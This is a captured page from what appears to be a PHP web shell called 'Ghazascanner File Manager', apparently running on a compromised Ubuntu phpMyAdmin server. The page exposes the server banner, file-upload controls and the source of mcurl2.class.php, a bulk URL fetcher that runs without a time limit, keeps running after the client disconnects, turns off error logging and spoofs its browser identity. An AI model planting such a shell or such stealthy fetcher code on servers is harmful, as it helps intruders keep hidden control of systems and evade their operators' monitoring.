@Ghazascanner
_2019runbot
Ghazascanner File Manager
server :Linux phpmyadmin-ubuntu-m-2vcpu-16gb-blr1-01 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Current Path :
/
var
/
www
/
html
/
backup_1
/
Path :
Upload File :
New :
File
Dir
/var/www/html/backup_1/mcurl2.class.php
<?php ignore_user_abort(true); set_time_limit(0); @ini_set('error_log',NULL); @ini_set('log_errors',0); class MCurl { protected $_urls; protected $_result; protected $_timeout; public function __construct($timeout = 19, $urls = false) { $this->_timeout = $timeout; $this->_urls = $urls ? $urls : array(); $this->_result = array(); } public function setTimeout($timeout) { $this->_timeout = $timeout; } public function setUrls($urls) { $this->_urls = $urls; } public function getResults() { if(!$this->_result) $this->scan(); return $this->_result; } public function scan() { $curl = array(); $mh = curl_multi_init(); $UA = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)'; foreach ($this->_urls as $id => $url) { $curl[$id] = curl_init(); curl_setopt($curl[$id], CURLOPT_URL, $url); curl_setopt($curl[$id], CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl[$id], CURLOPT_TIMEOUT, 30); curl_setopt($curl[$id], CURLOPT_FOLLOWLOCATION, true); curl_setopt($curl[$id], CURLOPT_REFERER, $url); curl_setopt($curl[$id], CURLOPT_USERAGENT, $UA); curl_multi_add_handle($mh, $curl[$id]); } $running = null; do curl_multi_exec($mh, $running); while($running > 0); foreach($curl as $id => $c) { $this->_result[$id] = curl_multi_getcontent($c); curl_multi_remove_handle($mh, $c); } curl_multi_close($mh); } } ?>